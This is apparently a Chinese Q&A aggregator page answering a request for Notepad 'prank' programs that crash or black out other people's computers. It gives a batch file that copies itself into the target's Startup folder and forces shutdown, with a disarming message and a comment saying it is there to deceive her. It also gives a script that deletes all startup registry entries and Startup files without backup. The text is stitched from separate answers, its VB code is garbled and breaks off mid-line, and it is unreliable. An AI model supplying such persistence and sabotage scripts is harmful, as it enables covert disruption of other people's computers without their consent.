求几个用记事本制作的可以使别人电脑死机或黑屏什么的整人小程序

邪恶啊！我真邪恶！

把bat文件加入别人电脑的启动项里

目的就是叫指定目标的电脑一开机就重启，或者关机

关键是这一句（xp适用）

copy %0 "%userprofile%\「开始」菜单\程序\启动"

，如果是win7系统将路径改为"%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"。

@echo off

msg baby，早睡早起身体好。

rem 迷惑她，让她以为你发这个就是为说这句话的。

net start Schedule

if %time% geq 0:00 if %time% leq 6:00 shutdown /s /t 0

cls

copy %0 "C:\Documents and Settings\Administrator\「开始」菜单\程序\启动"

pause

@ ECHO OFF

@ ECHO

@ ECHO 说 明

@ ECHO --------------------------------------------------------------

@ ECHO 本批处理会自动清理所有非必要的启动项目，仅保留输入法(ctfmon)。

@ ECHO 目的是减少不必要的资源占用，使系统运行顺畅。但清理掉的项目不作

@ ECHO 备份，请小心使用。

@ ECHO --------------------------------------------------------------

PAUSE

reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /va /f

reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /va /f

reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v ctfmonexe /d C:\WINDOWS\system32\ctfmonexe

reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg" /f

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\IMJPMIG81"

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\IMJPMIG81" /v command /d ""C:\WINDOWS\IME\imjp8_1\IMJPMIGEXE" /Spoil /RemAdvDef /Migration32"

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\IMJPMIG81" /v hkey /d HKLM

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\IMJPMIG81" /v inimapping /d 0

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\IMJPMIG81" /v item /d IMJPMIG

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\IMJPMIG81" /v key /d SOFTWARE\Microsoft\Windows\CurrentVersion\Run

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002A"

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002A" /v command /d "C:\WINDOWS\system32\IME\TINTLGNT\TINTSETPEXE /IMEName"

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002A" /v hkey /d HKLM

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002A" /v inimapping /d 0

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002A" /v item /d TINTSETP

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002A" /v key /d SOFTWARE\Microsoft\Windows\CurrentVersion\Run

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002ASync"

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002ASync" /v command /d ""C:\WINDOWS\IME\imjp8_1\IMJPMIGEXE" /Spoil /RemAdvDef /Migration32"

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002ASync" /v hkey /d HKLM

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002ASync" /v inimapping /d 0

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002ASync" /v item /d TINTSETP

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002ASync" /v key /d SOFTWARE\Microsoft\Windows\CurrentVersion\Run

del "C:\Documents and Settings\All Users\「开始」菜单\程序\启动\" /q /f

del "C:\Documents and Settings\Default User\「开始」菜单\程序\启动\" /q /f

del "%userprofile%\「开始」菜单\程序\启动\" /q /f

start C:\WINDOWS\system32\msconfigexe

这个问题一般是文本编码引起的。

解决办法：

下载文本编辑器比如Notepad++，对文本进行转码。

我在Windows 8上测试，转码为ANSI编码即可执行成功。

---

为什么有时候用记事本写vbs程序又可以呢？

因为Windows在生成UFT-8格式的文本文件时，自作主张在文件中加了点东西，而VBS已经很久没有更新了。所以，一不小心就出现“800A0408”错误。

在窗体上放一个定时器timer1,一个命令按钮command1,和一个标签label1

代码如下（直接拷贝）

Option Explicit: Dim x As Integer

Private Sub Command1_Click()

Dim a As Integer, b As Integer

While a <> 1 And b <> -2

a = Val(InputBox("请输入-x2＋x＋2＝0的根"))

b = Val(InputBox("请输入-x2＋x＋2＝0的根"))

If a <> 1 And b <> -2 Then

MsgBox "答案不对！"

End If

Wend

If a = 1 And b = -2 Then

Timer1Enabled = True

End If

End Sub

Private Sub Form_Load()

Command1Caption = "输入"

Label1Caption = ""

Timer1Interval = 1000

Timer1Enabled = False

x = 40

End Sub

Private Sub Timer1_Timer()

x = x - 1

Label1Caption = x & "秒"

If x = 0 Then

Timer1Enabled = False

Shell "explorer " & ">

以上就是关于求几个用记事本制作的可以使别人电脑死机或黑屏什么的整人小程序全部的内容，包括:求几个用记事本制作的可以使别人电脑死机或黑屏什么的整人小程序、想弄个vbs整人小程序，为什么弄好了打不开、求用vb做一个整人小程序等相关内容解答，如果想了解更多相关内容，可以关注我们，你们的支持是我们更新的动力！